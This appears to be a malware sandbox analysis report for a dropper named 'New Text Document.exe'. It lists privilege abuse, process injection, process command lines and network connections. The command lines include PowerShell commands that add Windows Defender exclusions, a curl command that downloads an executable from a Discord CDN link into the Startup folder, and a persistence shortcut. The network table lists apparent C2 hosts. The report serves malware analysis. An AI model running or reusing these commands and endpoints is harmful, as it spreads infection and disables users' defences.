N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\client.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5028 wrote to memory of 944 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
PID 5028 wrote to memory of 944 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
PID 5028 wrote to memory of 944 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
PID 5028 wrote to memory of 1860 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 5028 wrote to memory of 1860 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 5028 wrote to memory of 1860 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 5028 wrote to memory of 2180 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 5028 wrote to memory of 2180 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 5028 wrote to memory of 2180 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 5028 wrote to memory of 4992 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 5028 wrote to memory of 4992 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 5028 wrote to memory of 4992 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 4992 wrote to memory of 2708 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp
PID 4992 wrote to memory of 2708 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp
PID 4992 wrote to memory of 2708 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp
PID 2708 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 2708 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 2708 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 2708 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 2708 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 2708 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 2692 wrote to memory of 1068 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2692 wrote to memory of 1068 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2692 wrote to memory of 1068 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 5028 wrote to memory of 2476 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 5028 wrote to memory of 2476 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 5028 wrote to memory of 2476 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 5028 wrote to memory of 3100 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 5028 wrote to memory of 3100 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 5028 wrote to memory of 3100 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 5028 wrote to memory of 1964 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 5028 wrote to memory of 1964 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 5028 wrote to memory of 1964 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 5028 wrote to memory of 1140 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\client.exe
PID 5028 wrote to memory of 1140 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\client.exe
PID 5028 wrote to memory of 1156 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 5028 wrote to memory of 1156 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 5028 wrote to memory of 1156 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 5028 wrote to memory of 2968 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 5028 wrote to memory of 2968 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 5028 wrote to memory of 2968 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 5028 wrote to memory of 3844 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 5028 wrote to memory of 3844 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 5028 wrote to memory of 3844 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 3844 wrote to memory of 3752 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe
PID 3844 wrote to memory of 3752 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe
PID 3844 wrote to memory of 3752 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe
PID 3752 wrote to memory of 2164 N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe
PID 3752 wrote to memory of 2164 N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe
PID 3752 wrote to memory of 2164 N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe
PID 1156 wrote to memory of 4228 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1156 wrote to memory of 4228 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1156 wrote to memory of 4228 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1156 wrote to memory of 4228 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1156 wrote to memory of 4228 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1156 wrote to memory of 4228 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 2968 wrote to memory of 3372 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 3372 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 3372 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 1064 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2968 wrote to memory of 1064 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2968 wrote to memory of 1064 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2968 wrote to memory of 3796 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2968 wrote to memory of 3796 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe.zip"

C:\Users\Admin\Desktop\New Text Document.exe

"C:\Users\Admin\Desktop\New Text Document.exe"

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Desktop\a\SKOblik.exe

"C:\Users\Admin\Desktop\a\SKOblik.exe"

C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe

"C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe"

C:\Users\Admin\Desktop\a\Guide2018.exe

"C:\Users\Admin\Desktop\a\Guide2018.exe"

C:\Users\Admin\Desktop\a\stories.exe

"C:\Users\Admin\Desktop\a\stories.exe"

C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp

"C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp" /SL5="$4021E,5532893,721408,C:\Users\Admin\Desktop\a\stories.exe"

C:\Windows\SysWOW64\net.exe

"C:\Windows\system32\net.exe" pause shine-encoder_11152

C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe

"C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe" -i

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 pause shine-encoder_11152

C:\Users\Admin\Desktop\a\wwbizsrvs.exe

"C:\Users\Admin\Desktop\a\wwbizsrvs.exe"

C:\Users\Admin\Desktop\a\msf.exe

"C:\Users\Admin\Desktop\a\msf.exe"

C:\Users\Admin\Desktop\a\msf443.exe

"C:\Users\Admin\Desktop\a\msf443.exe"

C:\Users\Admin\Desktop\a\client.exe

"C:\Users\Admin\Desktop\a\client.exe"

C:\Users\Admin\Desktop\a\Pawyvstri.exe

"C:\Users\Admin\Desktop\a\Pawyvstri.exe"

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

"C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Users\Admin\Desktop\a\op.exe

"C:\Users\Admin\Desktop\a\op.exe"

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe

.\installer.exe

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe

"C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe" C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe

C:\Users\Admin\Desktop\a\Pawyvstri.exe

"C:\Users\Admin\Desktop\a\Pawyvstri.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

"C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

"C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nrgconm6.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8044.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8043.tmp"

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

"C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe"

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

"C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe" restart

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c ver

C:\Users\Admin\Desktop\a\babababa.exe

"C:\Users\Admin\Desktop\a\babababa.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B5A7.tmp\B5A8.tmp\B5A9.bat C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w hidden -c Add-MpPreference -ExclusionPath ""

C:\Windows\system32\curl.exe

curl --silent --output "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe" "https://cdn.discordapp.com/attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff&"

C:\Users\Admin\Desktop\a\lum250.exe

"C:\Users\Admin\Desktop\a\lum250.exe"

C:\Users\Admin\Desktop\a\Beefy.exe

"C:\Users\Admin\Desktop\a\Beefy.exe"

C:\Users\Admin\Desktop\a\solandra.exe

"C:\Users\Admin\Desktop\a\solandra.exe"

C:\Users\Admin\Desktop\a\mk.exe

"C:\Users\Admin\Desktop\a\mk.exe"

C:\Users\Admin\Desktop\a\crypted2.exe

"C:\Users\Admin\Desktop\a\crypted2.exe"

C:\Users\Admin\Desktop\a\crypted2.exe

"C:\Users\Admin\Desktop\a\crypted2.exe"

C:\Users\Admin\Desktop\a\crypted2.exe

"C:\Users\Admin\Desktop\a\crypted2.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 784 -ip 784

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 784 -s 280

C:\Users\Admin\Desktop\a\random.exe

"C:\Users\Admin\Desktop\a\random.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\euwt.lnk'); $s.TargetPath = 'C:\Users\Admin\Desktop\a\mk.exe'; $s.Save()"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"

C:\Windows\system32\cmd.exe

cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"

C:\Windows\system32\PING.EXE

ping localhost -n 1

C:\Users\Admin\AppData\Local\enters.exe

C:\Users\Admin\AppData\Local\enters.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 urlhaus.abuse.ch udp
US 151.101.66.49:443 urlhaus.abuse.ch tcp
RU 31.41.244.11:80 31.41.244.11 tcp
US 8.8.8.8:53 49.66.101.151.in-addr.arpa udp
CN 110.249.196.56:80 mininews.kpzip.com tcp
CN 42.236.89.8:80 mininews.kpzip.com tcp
CN 60.28.220.184:80 mininews.kpzip.com tcp
CN 42.177.83.116:80 mininews.kpzip.com tcp
CN 113.201.158.118:80 mininews.kpzip.com tcp
HK 47.243.125.164:80 www.bkzj.wang tcp
CN 120.26.3.86:80 wz.3911.com tcp
DZ 41.111.143.136:443 dcwblida.dz tcp
RU 176.113.115.203:80 176.113.115.203 tcp
KR 27.102.130.160:801 27.102.130.160 tcp
KR 27.102.130.160:801 27.102.130.160 tcp
JP 64.176.38.237:443 tcp
KR 27.102.130.160:801 27.102.130.160 tcp
JP 64.176.38.237:8139 tcp
KR 27.102.130.160:801 27.102.130.160 tcp
JP 64.176.38.237:443 tcp
FR 31.14.70.249:443 store6.gofile.io tcp
FR 202.165.69.5:443 file-eu-par-1.gofile.io tcp
DE 87.120.84.39:80 87.120.84.39 tcp
KR 27.102.118.246:80 t.kks8.xyz tcp
US 8.8.8.8:53 5.69.165.202.in-addr.arpa udp
US 108.181.20.35:443 files.catbox.moe tcp
NL 188.240.13.5:443 cdn.download.pdfforge.org tcp
KR 27.102.130.176:8443 tcp
RU 31.41.244.11:80 31.41.244.11 tcp
US 104.16.148.130:80 flow.lavasoft.com tcp
US 104.16.148.130:80 flow.lavasoft.com tcp
US 104.16.148.130:80 flow.lavasoft.com tcp
US 104.16.148.130:80 flow.lavasoft.com tcp
US 104.16.149.130:443 flow.lavasoft.com tcp
US 104.16.213.94:443 sos.adaware.com tcp
US 104.16.213.94:443 sos.adaware.com tcp
JP 132.226.8.169:80 checkip.dyndns.org tcp
US 172.67.177.134:443 reallyfreegeoip.org tcp
NL 149.154.167.220:443 api.telegram.org tcp
KR 27.102.130.176:8443 tcp
KR 27.102.130.176:8443 tcp
HK 141.98.234.31:53 bfwnfpb.com udp
US 185.208.158.202:80 bfwnfpb.com tcp
US 162.159.135.233:443 cdn.discordapp.com tcp
GB 216.58.201.99:80 c.pki.goog tcp
N/A 127.0.0.1:51702 tcp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
GB 89.197.154.116:80 89.197.154.116 tcp
US 172.67.174.133:443 frogmen-smell.sbs tcp
GB 89.197.154.116:7810 tcp
BG 87.120.125.254:80 87.120.125.254 tcp
US 8.8.8.8:53 133.174.67.172.in-addr.arpa udp
US 8.8.8.8:53 254.125.120.87.in-addr.arpa udp
GB 104.123.95.227:443 steamcommunity.com tcp
GB 89.197.154.116:7810 tcp
US 172.67.160.80:443 marshal-zhukov.com tcp
GB 89.197.154.116:7810 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 172.67.187.204:443 c0al1t1onmatch.cyou tcp
GB 104.123.95.227:443 steamcommunity.com tcp
US 172.67.160.80:443 marshal-zhukov.com tcp
GB 89.197.154.116:7810 tcp
DE 87.120.84.39:80 87.120.84.39 tcp
US 208.95.112.1:80 ip-api.com tcp
DE 147.45.47.61:8888 tcp
KR 27.102.130.176:8443 tcp
CN 123.60.59.48:80 tcp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
US 185.208.158.202:80 bfwnfpb.com tcp
GB 89.197.154.116:7810 tcp
BG 87.120.125.16:9891 tcp
US 208.95.112.1:80 ip-api.com tcp
DE 147.45.47.61:8888 tcp
HK 83.229.127.65:8088 83.229.127.65 tcp
JP 132.226.8.169:80 checkip.dyndns.org tcp
US 172.67.177.134:443 reallyfreegeoip.org tcp
GB 89.197.154.116:7810 tcp
NL 149.154.167.220:443 api.telegram.org tcp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
KR 27.102.130.176:8443 tcp
US 8.8.8.8:53 tcp
US 185.208.158.202:80 bfwnfpb.com tcp
NL 81.19.137.119:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 46.226.244.0:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
